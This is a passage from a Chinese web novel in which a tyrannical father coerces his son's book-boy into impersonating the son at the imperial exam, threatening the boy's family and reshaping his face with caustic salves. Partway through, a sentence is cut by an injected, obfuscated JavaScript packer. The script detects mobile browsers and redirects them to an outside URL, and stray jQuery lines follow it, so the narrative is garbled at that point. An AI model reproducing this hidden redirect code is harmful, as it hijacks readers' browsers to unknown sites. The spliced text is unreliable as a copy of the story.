“陆凡小小年纪,报复心居然这么重。”灵意道。
“孺子不可教也。”周威愤愤道。
刘言继续讲述着。
老师最终跑了出来,陆凡良心发现,把老师拖了出来,陆府赔了修缮房屋的钱,陆凡也挨了一顿重打。
他每天都是身心俱疲,渐渐地,陆凡睡不着觉时,就会让刘言跪在他床边背诵《戒律》。
因得陆凡整夜都睡不着,刘言通常会背诵一整夜。陆凡虽然不睡觉,却仍旧像打了鸡血一般情神,刘言知道他这是思虑过度,亢奋过头了,这可苦了刘言了,他白天照顾陆凡的饮食起居,晚上还得背书,时间长了,就是铁打的身体也受不了。
但刘言有个很好的优点——忍耐。
他全部忍下来了。
就这样,春去秋来,一过便是八个年头。
陆凡那张奇葩的脸变得更加奇葩,简直毫无可取之处,又加上陆峰一直给他吃各种各样的补药,吃的他内分泌失调,满脸痘痘,有的甚至正正好长在下巴,冒着白脓。
反观刘言,虽然身量矮小,但长得实在可爱,皮肤白嫩,两只一眼睛间距有些窄,显出几分朴实和娇憨。
陆凡还是努力背着书,今年他刚满十八岁,满足了每年七月初七科考的条件。
他最近每天都睡不着,他怕。
他怕自己考不上,他最怕陆峰打他。
随着他越长越大,陆峰好像有些老了,对他的学习也不像之前那样一直督促了,而是换了一种方法,他开始对陆凡嘘寒问暖。
陆凡万分开心,他以为父亲终于认可他了。
这段夫子情深的桥段持续到科考之前,继而急转直下。
陆凡第一次落榜了。
他甚至连红榜的三百名都没进去。
陆凡当天直接吓晕在红榜面前,刘言把他背回去的,陆峰知道他的成绩后,直接去外面烧了一壶热水,毫不留情地浇在了陆凡双腿上,硬是把他烫醒了。
陆凡的双腿变红、发白、皮开始脱落。
刘言看着这可怕的一幕也吓得不轻,缩在墙角不敢说话。
陆凡不吭声,他第一次留下眼泪。他接着被陆峰从床上拽下来,刘言想阻止,但被陆峰瞪了回去,陆峰拖着人来到祠堂,他扔下陆凡,手指着祖宗们的牌位,对着念经的吴素破口大骂道:“看看你生的好儿子!我养了他十八年,就指望他能有点出息,结果呢,结果呢!真是家门不幸!”
吴素从不理会,“菩提本无树,明镜亦非台。本来无一物,何处惹尘埃。”①
说完这句话,她从蒲团上起身,转过身先看了一眼陆凡,又看着陆峰。
她说:“当年你娶我,说只要我生个孩子就行,其他我什么也不用做,孩子我给你生了,至于他是好是坏、是聪明还是愚笨、是漂亮还是丑陋,都与我无关。你以后不要打扰我。”
说完,吴素离开了,她的衣裳拖地略长,有一部分扫到了陆凡的手,陆凡立刻伸手去抓,但那衣裳只是滑了过去,不留一点痕迹。
陆凡痛得撕心裂肺,他大喊着,要把自己的胃、肝脏、肠子、心脏全都呕出来,急火攻心,喷出一大口鲜血,有零星血沫溅在了吴素衣摆。
“娘——!!!”
娘,你看看我。
我真的很痛。
陆凡再次晕倒。
刘言躲在一边偷偷看着,他看着陆峰走后,立马跑过去看陆凡的情况,只见他的腿惨的不成样子,小腿没有一处好地方。
刘言像往常的每一次,小心翼翼地把陆凡背起来,带走了。
*
落榜后,陆凡更加勤勉,他不再焦躁,反而静下心来认真钻研每一个字,只是背书依旧背得很慢。
陆峰又开始对他好,每日给他做牛羊肉、海鲜瓜果等。
刘言继续跟着学。
科考前的一个月,陆凡放下书,他带着刘言来到正堂,陆峰已经在那里等着他们两个人了。
陆峰让二人坐在他面前,他开口问刘言:“陆凡读的如何了?”
刘言不敢撒谎,因为陆峰会检查。
于是他想了想,决定避重就轻:“回老爷,《训箴》全一百七十八章,共十六万字,少爷已经全部背完了,还有……”
“不用说这些没用的,你觉得他今年能考进红榜吗?”
“……”刘言冷汗频频,他伸手准备擦下额头的汗,却被陆峰握住了手,刘言一时愣住,陆峰开口:“你伴陆凡读了十五年的书,可以说你是最了解他的人,且我知道,你很有天赋,你要比陆凡厉害的多。”
陆峰眼神炽热,想要把刘言生吞活剥,一点不剩。
刘言隐隐觉得不对劲,他把手抽出来,站起身跪在一边,“老爷,这都是我应该做的,您抬举我了。”
“抬举?不不不,这怎么能是抬举,这是事实啊!”陆峰把他扶起来说道。
事出反常必有妖,刘言想逃走。
陆峰重新把陆凡按在座位上,这次他的眼神更恳切,“所以,我有个不情之请,希望你能答应。”
刘言低下头:”老爷有什么话说就是。”
陆峰重重拍了下刘言的肩膀:“好孩子,其实不用你说,我知道陆凡不可能考得上,但是你可以……你可以的!”
刘言知道陆峰就没好事找他,但没想到是这么严重的事情,他惊骇不已,心脏突突地跳,“老爷,你、你可是要我代替少爷考试?”
“你果然聪慧,不错,正是如此。”
“不行,老爷!这可是欺君之罪!”他慌忙后退两步,声音发抖:“若是被发现,不但我会被处死,连陆家也要满门抄斩!”
“不会被发现的!”陆峰急切地说,一把抓住刘言的手臂,“我有办法,绝对万无一失!”
刘言挣脱开来,跪在地上连连磕头:“老爷,求您饶了我吧!我虽是个书童,却也读过圣贤书,知道诚信为本。这等欺瞒朝廷之事,我万万不能做啊!”
就在这时,一直沉默的陆凡忽然从椅子上滑落,“扑通”一声跪在了刘言面前。
“刘言,求求你,帮帮我吧!”陆凡涕泪纵横,双手紧紧抓住刘言的衣襟,“如果我今年再考不上,我就去死!”
刘言一时不知所措:“少爷,你快起来,这怎么使得!”
“我不起来!”陆凡哭得浑身颤抖,“你不知道我每一天每一夜有多害怕!每次爹看我的眼神,就像在看一堆垃圾。如果我今年再落榜,他真的会杀了我的!刘言,看在我们一起长大、一起读书十五年的份上,救救我吧!”
刘言心乱如麻。
那壶烫伤双腿的热水,那些日夜不停的责骂,那种恨不得将亲生儿子生吞活剥的憎恶。
“少爷,我……”刘言话未说完,就被陆峰打断了。
“陆凡,起来。”陆峰的声音忽然冷了下来,“既然刘言不愿,我们也不必强求。”
陆峰扶起儿子,转而面对刘言。
“刘言,你可知道你家中的老母亲和两个妹妹,如今住在城西的哪条巷子?”陆峰眼睛紧盯着刘言瞬间苍白的脸。
“老爷……怎么问起这个?”
“只是偶然得知,你母亲身体似乎不大好,常年吃药。”陆峰踱步到窗边,背对着刘言,“这年头,看病吃药可不便宜。你每月那点工钱,大半都寄回家了吧?”
刘言浑身发冷,他终于明白陆峰早已算计好一切。
“若你不愿帮忙,”陆峰突然转身,“我不敢保证你家人会不会出什么意外。城西那地方,乱得很呐,盗匪横行,火灾频发……”
“老爷!”刘言失声叫道,“您不能这样!我为您家服务十五年,从未有过二心,您怎么能拿我的家人相胁?”
陆峰冷笑一声:“正因为你服务十五年,我才给你这个飞黄腾达的机会。想想看,若是凡儿中了举,你便是头号功臣,将来少不了你的好处,你家人也能过上好日子,否则……
刘言瘫坐在地,心如死灰。
他别无选择。
“我答应。”刘言听见自己说。
陆凡破涕为笑,连连道谢。陆峰则立即恢复了那副慈祥面容,扶起刘言:“好孩子,我就知道你明事理。放心,我已有周全计划。”
*
换脸之术开始。
陆峰不知从何处弄来一罐浓稠的黑色药膏,散发着刺鼻的气味,他命刘言躺在榻上,亲自将药膏厚厚地涂满他的脸庞。
“这药能改变你的骨相,让你的脸型逐渐向陆凡靠拢。”陆峰边涂边解释,“过程会有些痛苦,你必须忍耐。”
起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368777|183944||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
初只是轻微的灼热感,刘言心想不过如此,但一个时辰后,他的脸开始发烫,如同被放在火上烤,又过片刻,剧痛袭来,仿佛有千万只蚂蚁在啃噬他的皮肉。
刘言忍不住呻吟出声,双手不自觉地想要抓脸。
“按住他!”陆峰命令道,陆凡连忙上前,用力按住刘言的双臂。
“痛!好痛啊!”刘言嘶喊着,浑身被汗水浸透。
“忍住!”陆峰厉声道,“这才只是开始!”
夜幕降临时,刘言的脸已肿成原来的两倍大,眼睛被挤成两条细缝。
陆峰又拿来另一种药膏,说是可以催熟痘痘,果然,敷上不久,刘言脸上便开始冒出密密麻麻的脓包,有的白头顶端,恰如陆凡下巴上那颗标志性的巨痘。
如此煎熬整整七日,刘言几乎神志不清。
每次镜中一瞥,他都惊恐地发现自己的面容正一点点变成他最熟悉又最恐惧的模样——陆凡的脸。
又过了七日,陆峰开始训练刘言模仿陆凡的言行举止,因陆凡腿伤未愈,便学习如何跛行,甚至如何结巴地背书也学。
刘言学得极快,这本就是他十五年来每日观察的人,但每学会一个动作,他都感到一部分自我正在死去。
半月已过,陆峰不知从哪请来一位神秘的老妪,那老妪眼神浑浊,却有一双异常灵巧的手,她用细如毛发的银针,在刘言脸上施针。
“这是定形针。”陆峰解释道,“让你的新脸固定下来,不再变化。”
银针刺入时并不很痛,恍惚间,他感觉有什么东西从自己身体里被抽走,又有什么别的东西被强行塞了进来。
最后七日,刘言已与陆凡有了九分相像。剩下的那一分差距,可以用妆容弥补。陆峰亲自调配了一种粉底,涂上后就能以假乱真。
这期间,陆凡时常来看望刘言,每次都会带些点心或书籍,说些感激的话。
但刘言看得出,陆凡眼中除了感激,还有几分难以掩饰的嫉妒。
他怎么能不嫉妒,嫉妒一个书童竟比自己更有才华,更嫉妒刘言如今拥有的,本应属于他的机会。
*
科考前一晚,刘言站在镜前,已认不出原本的自己。
那是一张布满痘痕,下巴有一颗显眼脓痘的脸,眼神畏缩,嘴角下垂……
完全是陆凡的模样。
“明日就要入场了。”陆峰走进来,满意地端详着自己的“作品”,“记住,你现在就是陆凡,陆家独子,年方十九,第二次参加科考。”
刘言沉默地点点头。
陆峰压低声音:“若是被察觉,不只是你,你全家都难逃一死,若成功,”他语气稍缓,“你母亲和妹妹将衣食无忧,我还会给你自由身。”
刘言只是恭敬地回答:“明白,老爷。”
那晚,刘言彻夜未眠。
脸仍在隐隐作痛,但更痛的是他的心。
十五年寒窗苦读,他本期待着有朝一日能以真名参考,光宗耀祖,如今却要顶着别人的名字,行欺君罔上之事。
天蒙蒙亮时,陆峰送来考篮,里面装满了文具和干粮,出乎意料的是,陆凡也来了,手里拿着一支精致的毛笔。
“这是我最爱的笔,送给你。”陆凡塞给刘言,不敢直视他的眼睛,“祝你金榜题名。”
刘言接过笔,忽然问:“少爷,若我中了举,接下来该如何?”
陆凡一愣,显然没考虑过这个问题。倒是陆峰接过话头:“之后的事之后再说。快出发吧,记住,从出门那刻起,你就是陆凡!”
刘言点点头,戴上帷帽,遮住那张已然不属于自己的脸。
陆家大门缓缓打开。
门外,晨雾弥漫,依稀可见几个路人匆匆走过,没有送考的家人,没有祝福的亲朋,只有刘言孤身一人。
他深吸一口气,迈出了门槛。
就在他踏出陆家的瞬间,身后的大门“砰”地关上。
刘言握紧毛笔,一步一步向考场方向走去。
每走一步,脸上的疼痛就提醒着他:这荣辱,这命运,都已不再属于刘言。
晨雾中,一个瘦小的身影渐行渐远,最终消失在街角转弯处。
而陆家高墙内,真正的陆凡正紧张地咬指甲,等待着这场关系他命运的考试结果。